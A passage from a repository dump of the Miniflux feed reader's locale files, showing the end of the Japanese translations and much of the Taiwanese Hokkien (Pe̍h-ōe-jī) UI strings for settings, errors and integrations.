アカウントでログイン\",\n    \"page.login.title\": \"ログイン\",\n    \"page.login.webauthn_login\": \"パスキーでログイン\",\n    \"page.login.webauthn_login.error\": \"パスキーでログインできない\",\n    \"page.login.webauthn_login.help\": \"セキュリティキーを使用する場合はユーザー名を入力してください。パスキー（検出可能な認証情報）の場合は不要です。\",\n    \"page.new_api_key.title\": \"新しい API キー\",\n    \"page.new_category.title\": \"新規カテゴリ\",\n    \"page.new_user.title\": \"新規ユーザー\",\n    \"page.offline.message\": \"オフラインです\",\n    \"page.offline.refresh_page\": \"ページを更新してみてください\",\n    \"page.offline.title\": \"オフラインモード\",\n    \"page.read_entry_count\": [\n        \"%d 件の既読エントリ\"\n    ],\n    \"page.search.title\": \"検索結果\",\n    \"page.sessions.table.actions\": \"アクション\",\n    \"page.sessions.table.current_session\": \"現在のセッション\",\n    \"page.sessions.table.date\": \"日付\",\n    \"page.sessions.table.ip\": \"IP アドレス\",\n    \"page.sessions.table.user_agent\": \"ユーザーエージェント\",\n    \"page.sessions.title\": \"セッション\",\n    \"page.settings.link_google_account\": \"Google アカウントと接続する\",\n    \"page.settings.link_oidc_account\": \"%s アカウントと接続する\",\n    \"page.settings.title\": \"設定\",\n    \"page.settings.unlink_google_account\": \"Google アカウントと接続を解除する\",\n    \"page.settings.unlink_oidc_account\": \"%s アカウントと接続を解除する\",\n    \"page.settings.webauthn.actions\": \"操作\",\n    \"page.settings.webauthn.added_on\": \"追加日\",\n    \"page.settings.webauthn.delete\": [\n        \"%d 個のパスキーを削除\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"最終使用日\",\n    \"page.settings.webauthn.passkey_name\": \"パスキー名\",\n    \"page.settings.webauthn.passkeys\": \"パスキー\",\n    \"page.settings.webauthn.register\": \"パスキーを登録する\",\n    \"page.settings.webauthn.register.error\": \"パスキーを登録できません\",\n    \"page.shared_entries.title\": \"共有エントリ\",\n    \"page.shared_entries_count\": [\n        \"%d 件の共有エントリ\"\n    ],\n    \"page.starred.title\": \"星付き\",\n    \"page.starred_entry_count\": [\n        \"%d 件の星付きエントリ\"\n    ],\n    \"page.total_entry_count\": [\n        \"合計 %d 件のエントリ\"\n    ],\n    \"page.unread.title\": \"未読\",\n    \"page.unread_entry_count\": [\n        \"%d 件の未読エントリ\"\n    ],\n    \"page.users.actions\": \"アクション\",\n    \"page.users.admin.no\": \"非管理者\",\n    \"page.users.admin.yes\": \"管理者\",\n    \"page.users.is_admin\": \"管理者\",\n    \"page.users.last_login\": \"最終ログイン\",\n    \"page.users.never_logged\": \"未ログイン\",\n    \"page.users.title\": \"ユーザー一覧\",\n    \"page.users.username\": \"ユーザー名\",\n    \"page.webauthn_rename.title\": \"パスキー名の変更\",\n    \"pagination.first\": \"最初\",\n    \"pagination.last\": \"最後\",\n    \"pagination.next\": \"次\",\n    \"pagination.previous\": \"前\",\n    \"search.label\": \"検索\",\n    \"search.placeholder\": \"…を検索\",\n    \"search.submit\": \"検索\",\n    \"skip_to_content\": \"コンテンツへスキップ\",\n    \"time_elapsed.days\": [\n        \"%d 日前\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d 時間前\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d 分前\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d か月前\"\n    ],\n    \"time_elapsed.not_yet\": \"未来\",\n    \"time_elapsed.now\": \"今\",\n    \"time_elapsed.weeks\": [\n        \"%d 週間前\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d 年前\"\n    ],\n    \"time_elapsed.yesterday\": \"昨日\",\n    \"tooltip.keyboard_shortcuts\": \"キーボードショートカット: %s\",\n    \"tooltip.logged_user\": \"%s としてログイン中\"\n}\n"
  },
  {
    "path": "internal/locale/translations/nan_Latn_pehoeji.json",
    "content": "{\n    \"action.cancel\": \"Chhú-siau\",\n    \"action.download\": \"Lia̍h----loh-lâi\",\n    \"action.edit\": \"Pian-chi̍p\",\n    \"action.home_screen\": \"Chng tī chú ōe-bīn\",\n    \"action.import\": \"Hōe--li̍p\",\n    \"action.login\": \"Teng-lo̍k\",\n    \"action.or\": \"ah-sī\",\n    \"action.remove\": \"Thâi tiāu\",\n    \"action.remove_feed\": \"Thâi tiāu chit ê siau-sit lâi-goân\",\n    \"action.save\": \"Pó-chûn\",\n    \"action.subscribe\": \"Tēng\",\n    \"action.update\": \"Ōaⁿ-sin\",\n    \"alert.account_linked\": \"Í-keng kah lí ê gōa-pō͘ kháu-chō kiat chòe-hé--ah!\",\n    \"alert.account_unlinked\": \"Kah lí ê gōa-pō͘ kháu-chō ê kiat í-keng phah khui--ah!\",\n    \"alert.background_feed_refresh\": \"Tng leh pōe-āu ōaⁿ-sin só͘-ū siau-sit lâi-goân, lí ē-sái kè-sio̍k sú-iōng Miniflux。\",\n    \"alert.feed_error\": \"Chit ê siau-sit lâi-goân ū būn-tôe\",\n    \"alert.no_starred\": \"Chit-má ah bô siu-chông\",\n    \"alert.no_category\": \"Chit-má ah bô lūi-pia̍t\",\n    \"alert.no_category_entry\": \"Chit ê lūi-pah ah bô siau-sit\",\n    \"alert.no_feed\": \"Chit-má ah bô siau-sit lâi-goân\",\n    \"alert.no_feed_entry\": \"Chit ê siau-sit lâi-goân lāi bô siau-sit\",\n    \"alert.no_feed_in_category\": \"Bô chit ê lūi-pia̍t ê siau-sit lâi-goân\",\n    \"alert.no_history\": \"Chit-má ah bô kì-lo̍k\",\n    \"alert.no_search_result\": \"Bô hû-ha̍p ê chhiau-chhē kiat-kó\",\n    \"alert.no_shared_entry\": \"Chit-má ah bô hun-hióng ê siau-sit\",\n    \"alert.no_tag_entry\": \"Bô kah chit ê khan-á ū hû-ha̍p ê siau-sit\",\n    \"alert.no_unread_entry\": \"Chit-má ah-bô tha̍k kè ê siau-sit\",\n    \"alert.no_user\": \"Lí sī ûi-it ê sú-iōng-lâng\",\n    \"alert.prefs_saved\": \"Siat-tēng í-keng pó-chûn--ah!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Lí í-keng ín-khí siuⁿ chōe pái siau-sit lâi-goân ōaⁿ-sin, chhiáⁿ tán-hāu %d hun-cheng āu koh chhì-khòaⁿ-māi.\"\n    ],\n    \"confirm.loading\": \"Tng leh chip-hêng…\",\n    \"confirm.no\": \"Hóⁿ\",\n    \"confirm.question\": \"Kám ū khak-tēng?\",\n    \"confirm.question.refresh\": \"Kám beh kiông-chè têng lia̍h?\",\n    \"confirm.yes\": \"Sī\",\n    \"enclosure_media_controls.seek\": \"Sóa-ūi:\",\n    \"enclosure_media_controls.seek.title\": \"Sóa %s bió\",\n    \"enclosure_media_controls.speed\": \"Sok-tō͘\",\n    \"enclosure_media_controls.speed.faster\": \"Cheng-ka sok-tō͘\",\n    \"enclosure_media_controls.speed.faster.title\": \"Cheng-ka sok-tō͘ %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Têng siat-tēng\",\n    \"enclosure_media_controls.speed.reset.title\": \"Têng siat-tēng pàng ê sok-tō͘ chòe 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Pàng bān\",\n    \"enclosure_media_controls.speed.slower.title\": \"Pàng bān %sx\",\n    \"entry.starred.toast.off\": \"Chhú-siau siu-chông chòe soah\",\n    \"entry.starred.toast.on\": \"Sin cheng-ka siu-chông chòe soah\",\n    \"entry.starred.toggle.off\": \"Chhú-siau siu-chông\",\n    \"entry.starred.toggle.on\": \"Siu-chông khí-lâi\",\n    \"entry.comments.label\": \"Hôe-èng\",\n    \"entry.comments.title\": \"Khòaⁿ hôe-èng\",\n    \"entry.estimated_reading_time\": [\n        \"Ài %d hun-cheng lâi tha̍k\"\n    ],\n    \"entry.external_link.label\": \"Gōa-pō͘ liân-kiat\",\n    \"entry.save.completed\": \"Pó-chûn chò soah\",\n    \"entry.save.label\": \"Pó-chûn\",\n    \"entry.save.title\": \"Pó-chûn chit ê siau-sit\",\n    \"entry.save.toast.completed\": \"Pó-chûn chò soah\",\n    \"entry.scraper.completed\": \"Lia̍h soah--ah\",\n    \"entry.scraper.label\": \"Lia̍h--lo̍h-lâi\",\n    \"entry.scraper.title\": \"Lia̍h goân-tóe lōe-iông\",\n    \"entry.share.label\": \"Hun-hióng\",\n    \"entry.share.title\": \"Hun-hióng chit ê siau-sit\",\n    \"entry.shared_entry.label\": \"Hun-hióng\",\n    \"entry.shared_entry.title\": \"Phah khui kong-khai ê liân-kiat\",\n    \"entry.state.loading\": \"Tng leh chip-hêng…\",\n    \"entry.state.saving\": \"Tng leh pó-chûn…\",\n    \"entry.status.mark_as_read\": \"Chù chòe tha̍k kè\",\n    \"entry.status.mark_as_unread\": \"Chù chòe ah-bōe tha̍k\",\n    \"entry.status.title\": \"Kái chōng-thài\",\n    \"entry.status.toast.read\": \"Chù chòe tha̍k kè chòe soah\",\n    \"entry.status.toast.unread\": \"Chù chòe ah-bōe tha̍k chòe soah\",\n    \"entry.tags.label\": \"Khan-á：\",\n    \"entry.tags.more_tags_label\": [\n        \"Kah %d khan-á\"\n    ],\n    \"entry.unshare.label\": \"Chhú-siau hun-hióng\",\n    \"error.api_key_already_exists\": \"Chit ê API só-sî í-keng chûn-chāi\",\n    \"error.bad_credentials\": \"M̄-tio̍h ê kháu-chō miâ ah-sī bi̍t-bé.\",\n    \"error.category_already_exists\": \"Lūi-pia̍t í-keng chûn-chāi.\",\n    \"error.category_not_found\": \"Chit ê lūi-pia̍t bô chûn-chāi ah-sī bô sio̍k-tī lí.\",\n    \"error.database_error\": \"Chu-liāu khò͘ ū m̄-tiō: %v.\",\n    \"error.different_passwords\": \"Su-li̍p ê bi̍t-bé chit nn̄g pái bô kâng.\",\n    \"error.duplicate_fever_username\": \"Fever ê kháu-chō miâ í-keng hō͘ lâng iōng khì--ah!\",\n    \"error.duplicate_googlereader_username\": \"Google Reader ê kháu-chō miâ í-keng hō͘ lâng iōng khì--ah!\",\n    \"error.duplicate_linked_account\": \"Chit ê beh kiat chòe-hé--ê í-keng seng hō͘ lâng kiat khì--ah!\",\n    \"error.duplicated_feed\": \"Chit ê siau-sit lâi-goân í-keng chûn-chāi.\",\n    \"error.empty_file\": \"Chit ê tóng-àn sī khang--ê.\",\n    \"error.entries_per_page_invalid\": \"Ta̍k ia̍h ê siau-sit sò͘ ū būn-tôe.\",\n    \"error.feed_already_exists\": \"Chit ê siau-sit lâi-goân í-keng chûn-chāi.\",\n    \"error.feed_category_not_found\": \"Bô chit ê lūi-pia̍t ah-sī kóng bô sio̍k-tī chit ê sú-iōng-lâng.\",\n    \"error.feed_format_not_detected\": \"Bōe līn chit ê siau-sit lâi-goân ê keh-sek: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Hong-só kui-chek bô-hāu.\",\n    \"error.feed_invalid_keeplist_rule\": \"Pó-liû kui-chek bô-hāu.\",\n    \"error.feed_mandatory_fields\": \"Tio̍h-ài su-lip bāng-chí kah lūi-pia̍t.\",\n    \"error.feed_not_found\": \"Chhē bô chit ê siau-sit lâi-goân ah-sī bô sio̍k-tī lí\",\n    \"error.feed_title_not_empty\": \"Beh tēng ê siau-sit lâi-goân ê piau-tôe bōe-sái sī khang--ê.\",\n    \"error.feed_url_not_empty\": \"Beh tēng ê siau-sit lâi-goân bāng-chí bōe-sái sī khang--ê.\",\n    \"error.fields_mandatory\": \"Tio̍h-ài kā chu-liāu lóng siá chê.\",\n    \"error.http_bad_gateway\": \"Chit ê bāng-chām chit-má in-ūi gateway ū būn-tôe bô-hoat-tō͘ iōng, m̄ sī Miniflux chia ê būn-tôe, chhiáⁿ tán--chi̍t-ē chiah koh chhì-khòaⁿ-māi.\",\n    \"error.http_body_read\": \"Bô-hoat-tō͘ tha̍k HTTP body lōe-iông: %v。\",\n    \"error.http_client_error\": \"HTTP kheh-hō͘ thâu ū m̄-tio̍h: %v.\",\n    \"error.http_empty_response\": \"HTTP hôe-èng lōe-iông sī khang--ê, ū khó-lêng sī hit ê bāng-chām ū pó-hō͘ ki-chè.\",\n    \"error.http_empty_response_body\": \"HTTP hôe-èng body sī khang--ê.\",\n    \"error.http_forbidden\": \"Hō͘ kū-choa̍t chûn-chhú chit ê bāng-chām, ū khó-lêng chit ê bāng-chām ū pó-hō͘ ki-chè.\",\n    \"error.http_gateway_timeout\": \"Tán chit ê bāng-chām ê hôe-èng í-keng chhiau-kè sî-kan, m̄ sī Miniflux chia ê būn-tôe, chhiáⁿ tán--chi̍t-ē chiah koh chhì-khòaⁿ-māi.\",\n    \"error.http_internal_server_error\": \"Chit ê bāng-chām ê su-hāu-khì in ka-kī ū būn-tôe, m̄ sī Miniflux chia ê būn-tôe, chhiáⁿ tán--chi̍t-ē chiah koh chhì-khòaⁿ-māi.\",\n    \"error.http_not_authorized\": \"Bô khoân chûn-chhú chit ê bāng-chām, chhiáⁿ kiám-cha kháu-chō miâ kah bi̍t-bé。\",\n    \"error.http_resource_not_found\": \"Chhē bô chit ê liân-kiat, chhiáⁿ khak-līn bāng-chí kám ū chèng-khak.\",\n    \"error.http_response_too_large\": \"HTTP hôe-èng siuⁿ tōa. Lí ē-sái tī choân-he̍k siat-tēng lāi kā siōng koân hān-tō͘ kái khah koân (ài têng khui su-hāu-khì)。\",\n    \"error.http_service_unavailable\": \"Chit ê bāng-chām in-ūi in ka-kī lāi-pō͘ ū būn-tôe，m̄ sī Miniflux chia ê būn-tôe, chhiáⁿ tán--chi̍t-ē chiah koh chhì-khòaⁿ-māi.\",\n    \"error.http_too_many_requests\": \"Miniflux tùi chit ê bāng-chām ê chhéng-kiû siuⁿ kè chōe, chhiáⁿ têng chhì-khòaⁿ-māi ah-sī tiâu-chéng thêng-sek siat-tēng.\",\n    \"error.http_unexpected_status_code\": \"Chit ê bāng-chām chòe liáu chi̍t ê liāu-bōe-tio̍h ê HTTP chōng-thài bé: %d, chhiáⁿ tán--chi̍t-ē chiah koh chhì-khòaⁿ-māi.\",\n    \"error.invalid_categories_sorting_order\": \"Lūi-pia̍t ê chōe pái bô-hāu, chhiáⁿ tán-hāu %d hun-cheng āu koh chhì-khòaⁿ-māi.\",\n    \"error.invalid_default_home_page\": \"Ū-siat chú-ia̍h ū būn-tôe!\",\n    \"error.invalid_display_mode\": \"Ū būn-tôe ê su-li̍p bô͘-sek.\",\n    \"error.invalid_entry_direction\": \"Ū būn-tôe ê su-li̍p hong-hiòng.\",\n    \"error.invalid_entry_order\": \"Siau-sit ê chōe pái bô-hāu, chhiáⁿ tán-hāu %d hun-cheng āu koh chhì-khòaⁿ-māi.\",\n    \"error.invalid_feed_proxy_url\": \"Proxy URL ū būn-tôe.\",\n    \"error.invalid_feed_url\": \"Beh tēng ê siau-sit lâi-goân ê bāng-chí ū būn-tôe.\",\n    \"error.invalid_gesture_nav\": \"Chhiú-sè tō-lám ū būn-tôe.\",\n    \"error.invalid_language\": \"Ū būn-tôe ê gú-giân.\",\n    \"error.invalid_site_url\": \"Siau-sit lâi-goân ê bāng-chām ê bāng-chí ū būn-tôe.\",\n    \"error.invalid_theme\": \"Ū būn-tôe ê chú-tôe.\",\n    \"error.invalid_timezone\": \"Ū būn-tôe ê sî-khu.\",\n    \"error.network_operation\": \"Miniflux bô-hoat-tō͘ liân kàu chit ê bāng-chām, ū khó-lêng sī bāng-lō͘ būn-tôe: %v.\",\n    \"error.network_timeout\": \"Chit ê bāng-chām ê hôe-èng siuⁿ bān, chhéng-kiû chhiau-kè sî-kan: %v.\",\n    \"error.password_min_length\": \"Chhiáⁿ chì-chió ài su-li̍p la̍k ê lī goân.\",\n    \"error.proxy_url_not_empty\": \"Proxy URL bōe-sái sī khang--ê.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Bô-hāu ê hong-só kui-chek: kui-chek #%d khiàm ū-hāu ê lân-ūi miâ (e-sai ê soán-hāng: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Bô-hāu ê hong-só kui-chek: kui-chek #%d ê bô͘-sek m̄ sī ha̍p-hoat ê chiàⁿ-kui piáu-ta̍t sek\",\n    \"error.settings_block_rule_regex_required\": \"Bô-hāu ê hong-só kui-chek: kui-chek #%d bô thê-kiong chiàⁿ-kui piáu-ta̍t sek\",\n    \"error.settings_block_rule_separator_required\": \"Bô-hāu ê hong-só kui-chek: kui-chek #%d ê bô͘-sek tio̍h-ài iōng '=' keh khui.\",\n    \"error.settings_invalid_domain_list\": \"Bāng-he̍k chheng-toaⁿ ū būn-tôe, chhiáⁿ iōng khang-keh keh khui bô kâng ê bāng-he̍k.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Bô-hāu ê pó-liû kui-chek: kui-chek #%d khiàm ū-hāu ê lân-ūi miâ (e-sai ê soán-hāng: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Bô-hāu ê pó-liû kui-chek: kui-chek #%d d ê bô͘-sek m̄ sī ha̍p-hoat ê chiàⁿ-kui piáu-ta̍t sek\",\n    \"error.settings_keep_rule_regex_required\": \"Bô-hāu ê pó-liû kui-chek: kui-chek #%d bô thê-kiong chiàⁿ-kui piáu-ta̍t sek\",\n    \"error.settings_keep_rule_separator_required\": \"Bô-hāu ê pó-liû kui-chek: kui-chek #%d ê bô͘-sek tio̍h-ài iōng '=' keh khui.\",\n    \"error.settings_mandatory_fields\": \"Tio̍h-ài su-li̍p kháu-chō miâ, chú-tôe, gú-giân, sî-khu.\",\n    \"error.settings_media_playback_rate_range\": \"Pàng ê sok-tō͘ chhiau-kè hoān-ûi\",\n    \"error.settings_reading_speed_is_positive\": \"Tha̍k ê sok-tō͘ tio̍h-ài sī chiaⁿ chéng-sò͘\",\n    \"error.site_url_not_empty\": \"Siau-sit lâi-goân ê bāng-chām ê bāng-chí bōe-sái sī khang--ê.\",\n    \"error.subscription_not_found\": \"Chhē bōe tio̍h līm-hô tēng ê siau-sit lâi-goân\",\n    \"error.title_required\": \"Tio̍h-ài su-li̍p piau-tôe.\",\n    \"error.tls_error\": \"TLS m̄-tio̍h: %q。Nā-sī beh pàng-ba̍k TSL chèng-bêng, ē-sái tī siau-sit lâi-goân siat-tēng lāi thêng-tiong.\",\n    \"error.unable_to_create_api_key\": \"Bô-hoat-tō͘ sin cheng-ka chit ê  API só-sî.\",\n    \"error.unable_to_create_category\": \"Bô-hoat-tō͘ sin cheng-ka chit ê lūi-pia̍t\",\n    \"error.unable_to_create_user\": \"Bô-hoat-tō͘ sin cheng-ka chit ê sú-iōng-lâng\",\n    \"error.unable_to_detect_rssbridge\": \"Sú-iōng RSS-Bridge sî chhē bô līm-hô siau-sit lâi-goân: %v.\",\n    \"error.unable_to_parse_feed\": \"Bô-hoat-tō͘ kái-sek chit ê siau-sit lâi-goân: %v.\",\n    \"error.unable_to_update_category\": \"Bô-hoat-tō͘ ōaⁿ-sin chit ê lūi-pia̍t\",\n    \"error.unable_to_update_feed\": \"Bô-hoat-tō͘ ōaⁿ-sin chit ê siau-sit lâi-goân\",\n    \"error.unable_to_update_user\": \"Bô-hoat-tō͘ ōaⁿ-sin chit ê sú-iōng-lâng\",\n    \"error.unlink_account_without_password\": \"Lí it-tēng ài siat-tēng bi̍t-bé, bô lí ē bô-hoat-tō͘ koh teng-lo̍k.\",\n    \"error.user_already_exists\": \"Chit ê sú-iōng-lâng í-keng chûn-chāi.\",\n    \"error.user_mandatory_fields\": \"Tio̍h-ài su-li̍p kháu-chō miâ\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token kâh Organization Slug sio̍kêi\",\n    \"form.api_key.label.description\": \"API só-sîkhan-á\",\n    \"form.category.hide_globally\": \"Mài hián-sī siau-sit tī choân-he̍k ah-bōe tha̍k lia̍t-pió lāi\",\n    \"form.category.label.title\": \"Piau-tôe\",\n    \"form.feed.fieldset.general\": \"Thong-iōng\",\n    \"form.feed.fieldset.integration\": \"Tē-saⁿ hong ho̍k-bū\",\n    \"form.feed.fieldset.network_settings\": \"Bāng-lō͘ siat-tēng\",\n    \"form.feed.fieldset.rules\": \"Kui-chek\",\n    \"form.feed.label.allow_self_signed_certificates\": \"ún-chún chū chhiam ah-sī bô-hāu ê pîn-chèng\",\n    \"form.feed.label.apprise_service_urls\": \"Sú-iōng tō͘-tiám keh khui ê Apprise ho̍k-bū bāng-chí lia̍t-pió\",\n    \"form.feed.label.block_filter_entry_rules\": \"Chhōa siau-sit ê kè-kng\",\n    \"form.feed.label.blocklist_rules\": \"Regex chhōa sè-khuán\",\n    \"form.feed.label.category\": \"lūi-pia̍t\",\n    \"form.feed.label.cookie\": \"Siat-tēng Cookies\",\n    \"form.feed.label.crawler\": \"Lia̍h goân-tóe lōe-iông\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Biâu-su̍t\",\n    \"form.feed.label.disable_http2\": \"Thêng iōng HTTP/2 pī-bián chéng-thâu-á-hûn tui-chong\",\n    \"form.feed.label.disabled\": \"Mài tha̍k chit ê siau-sit lâi-goân ê sin siau-sit\",\n    \"form.feed.label.feed_password\": \"Siau-sit lâi-goân bi̍t-bé\",\n    \"form.feed.label.feed_url\": \"Siau-sit lâi-goân bāng-chí\",\n    \"form.feed.label.feed_username\": \"Siau-sit lâi-goân kháu-chō miâ\",\n    \"form.feed.label.fetch_via_proxy\": \"Iōng tī su-hāu-khì siat-tēng ê proxy\",\n    \"form.feed.label.hide_globally\": \"Tī choân-he̍k ah-bōe tha̍k--ê lia̍t-pió am-khàm siau-sit\",\n    \"form.feed.label.ignore_http_cache\": \"Pàng-ba̍k HTTP cache\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Bêng ê siau-sit hō͘-chiâⁿ kui-chek\",\n    \"form.feed.label.keeplist_rules\": \"Regex pó͘-tē ê pò͘-chûn kui-chek\",\n    \"form.feed.label.no_media_player\": \"Bô mûi-thé hòng-sàng khì (im-sìn, sī-sìn)\",\n    \"form.feed.label.ntfy_activate\": \"Thui-sàng siau-sit khì ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy ū-siat iu-sian sūn-sū\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy koân iu-sian sūn-sū\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy kē iu-sian sūn-sū\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy siōng koân iu-sian sūn-sū\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy siōng kē iu-sian sūn-sū\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy iu-sian sūn-sū\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy topic (soán thiⁿ)\",\n    \"form.feed.label.proxy_url\": \"Proxy ê URL\",\n    \"form.feed.label.pushover_activate\": \"Pó-chûn siau-sit kàu pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover ū-siat iu-sian sūn-sū\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover koân iu-sian sūn-sū\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover kē iu-sian sūn-sū\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover siōng koân iu-sian sūn-sū\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover siōng kē iu-sian sūn-sū\",\n    \"form.feed.label.pushover_priority\": \"Pushover siau-sit iu-sian sūn-sū\",\n    \"form.feed.label.rewrite_rules\": \"Lōe-iông têng-siá kui-chek\",\n    \"form.feed.label.scraper_rules\": \"Lia̍h ê kui-chek\",\n    \"form.feed.label.site_url\": \"Bāng-chām bāng-chí\",\n    \"form.feed.label.title\": \"Piau-tôe\",\n    \"form.feed.label.urlrewrite_rules\": \"Bāng-chí têng siá kui-chek\",\n    \"form.feed.label.user_agent\": \"Ngī kái sú-iōng-lâng tāi-lí\",\n    \"form.feed.label.webhook_url\": \"Ngī kái webhook bāng-chí\",\n    \"form.import.label.file\": \"OPML tóng-àn\",\n    \"form.import.label.url\": \"URL tiàm-chhī\",\n    \"form.integration.archiveorg_activate\": \"Pó͘-chûn siau-sit kàu archive.org\",\n    \"form.integration.apprise_activate\": \"Thui sàng siau-sit khì Apprise\",\n    \"form.integration.apprise_services_url\": \"Iōng tō͘-tiám keh khui ê Apprise ho̍k-bū bāng-chí lia̍t-pió\",\n    \"form.integration.apprise_url\": \"Apprise API bāng-chí\",\n    \"form.integration.betula_activate\": \"Pó-chûn siau-sit kàu Betula\",\n    \"form.integration.betula_token\": \"Betula tō͘-khíng\",\n    \"form.integration.betula_url\": \"Betula su-hāu-khì bāng-chí\",\n    \"form.integration.cubox_activate\": \"Pó-chûn siau-sit khì Cubox\",\n    \"form.integration.cubox_api_link\": \"Cubox API liân-kiat\",\n    \"form.integration.discord_activate\": \"Thui-sàng siau-sit kàu Discord\",\n    \"form.integration.discord_webhook_link\": \"Discord Webhook liân-kiat\",\n    \"form.integration.espial_activate\": \"Pó-chûn siau-sit kàu Espial\",\n    \"form.integration.espial_api_key\": \"Espial API só-sî\",\n    \"form.integration.espial_endpoint\": \"Espial API thâu\",\n    \"form.integration.espial_tags\": \"Espial khan-á\",\n    \"form.integration.fever_activate\": \"Khai-sí iōng Fever API\",\n    \"form.integration.fever_endpoint\": \"Fever API thâu\",\n    \"form.integration.fever_password\": \"Fever bi̍t-bé\",\n    \"form.integration.fever_username\": \"Fever kháu-chō miâ\",\n    \"form.integration.googlereader_activate\": \"Khai-sí iōng Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader API thâu：\",\n    \"form.integration.googlereader_password\": \"Google Reader bi̍t-bé\",\n    \"form.integration.googlereader_username\": \"Google Reader Kháu-chō miâ\",\n    \"form.integration.instapaper_activate\": \"Pó-chûn siau-sit kàu Instapaper\",\n    \"form.integration.instapaper_password\": \"Instapaper bi̍t-bé\",\n    \"form.integration.instapaper_username\": \"Instapaper Kháu-chō miâ\",\n    \"form.integration.karakeep_activate\": \"Pó-chûn siau-sit kàu Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API só-sî\",\n    \"form.integration.karakeep_url\": \"Karakeep API thâu\",\n    \"form.integration.karakeep_tags\": \"Karakeep khan-á\",\n    \"form.integration.linkace_activate\": \"Pó-chûn siau-sit kàu LinkAce\",\n    \"form.integration.linkace_api_key\": \"LinkAce API só-sî\",\n    \"form.integration.linkace_check_disabled\": \"Thêng iōng liân-kiat kiám-cha\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API thâu\",\n    \"form.integration.linkace_is_private\": \"Chù chòe su-lîn ê liân-kiat\",\n    \"form.integration.linkace_tags\": \"LinkAce khan-á\",\n    \"form.integration.linkding_activate\": \"Pó-chûn siau-sit kàu Linkding\",\n    \"form.integration.linkding_api_key\": \"Linkding API só-sî\",\n    \"form.integration.linkding_bookmark\": \"Chù chòe ah-bōe tha̍k\",\n    \"form.integration.linkding_endpoint\": \"Linkding API thâu\",\n    \"form.integration.linkding_tags\": \"Linkding khan-á\",\n    \"form.integration.linktaco_activate\": \"Pó-chûn siau-sit kàu LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API tō͘-khíng\",\n    \"form.integration.linktaco_api_token_hint\": \"Chhú-tek lí ê kò-jîn chún-chhú token tī\",\n    \"form.integration.linktaco_org_slug\": \"Chō͘-hêng hiân-jī\",\n    \"form.integration.linktaco_tags\": \"khan-á (siōn-koân 10, iōng tō͘-tiám keh khui)\",\n    \"form.integration.linktaco_tags_hint\": \"Siōn-koân 10 khan-á, iōng tō͘-tiám keh khui\",\n    \"form.integration.linktaco_visibility\": \"Kò-chhiah-kì sìa?\",\n    \"form.integration.linktaco_visibility_public\": \"Kò-chhiah-kì\",\n    \"form.integration.linktaco_visibility_private\": \"Su-lîn\",\n    \"form.integration.linktaco_visibility_hint\": \"Su-lîn sìa tík tio̍h-ài chù-hêng LinkTaco kháu-chō\",\n    \"form.integration.linkwarden_activate\": \"Pó-chûn siau-sit kàu Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API só-sî\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden ki-kiân bāng-chí\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden sò͘-tē ID\",\n    \"form.integration.matrix_bot_activate\": \"Thui-sàng siau-sit kàu Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"Matrix pâng-keng ID\",\n    \"form.integration.matrix_bot_password\": \"Matrix bi̍t-bé\",\n    \"form.integration.matrix_bot_url\": \"Matrix su-hāu-khìbāng-chí\",\n    \"form.integration.matrix_bot_user\": \"Matrix kháu-chō miâ\",\n    \"form.integration.notion_activate\": \"Pó-chûn siau-sit kàu Notion\",\n    \"form.integration.notion_page_id\": \"Notion iah-piⁿ ID\",\n    \"form.integration.notion_token\": \"Notion bí-koān tō͘-khíng\",\n    \"form.integration.ntfy_activate\": \"Thui-sàng siau-sit kàu Ntfy\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API só-sî (soán thiⁿ)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy Icon bāng-chí (soán thiⁿ)\",\n    \"form.integration.ntfy_internal_links\": \"Tiám ê sî-chūn iōng lāi-pō͘ liân-kiat (soán thiⁿ)\",\n    \"form.integration.ntfy_password\": \"Ntfy bi̍t-bé (soán thiⁿ)\",\n    \"form.integration.ntfy_topic\": \"Ntfy topic (chhī-liāu nā bô siat-tēng, tiō iōng ī-siat-ti̍t)\",\n    \"form.integration.ntfy_url\": \"Ntfy bāng-chí (soán thiⁿ, ū-siat sī ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy kháu-chō miâ (soán thiⁿ)\",\n    \"form.integration.nunux_keeper_activate\": \"Pó-chûn siau-sit kàu Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper API só-sî\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper API thâu\",\n    \"form.integration.omnivore_activate\": 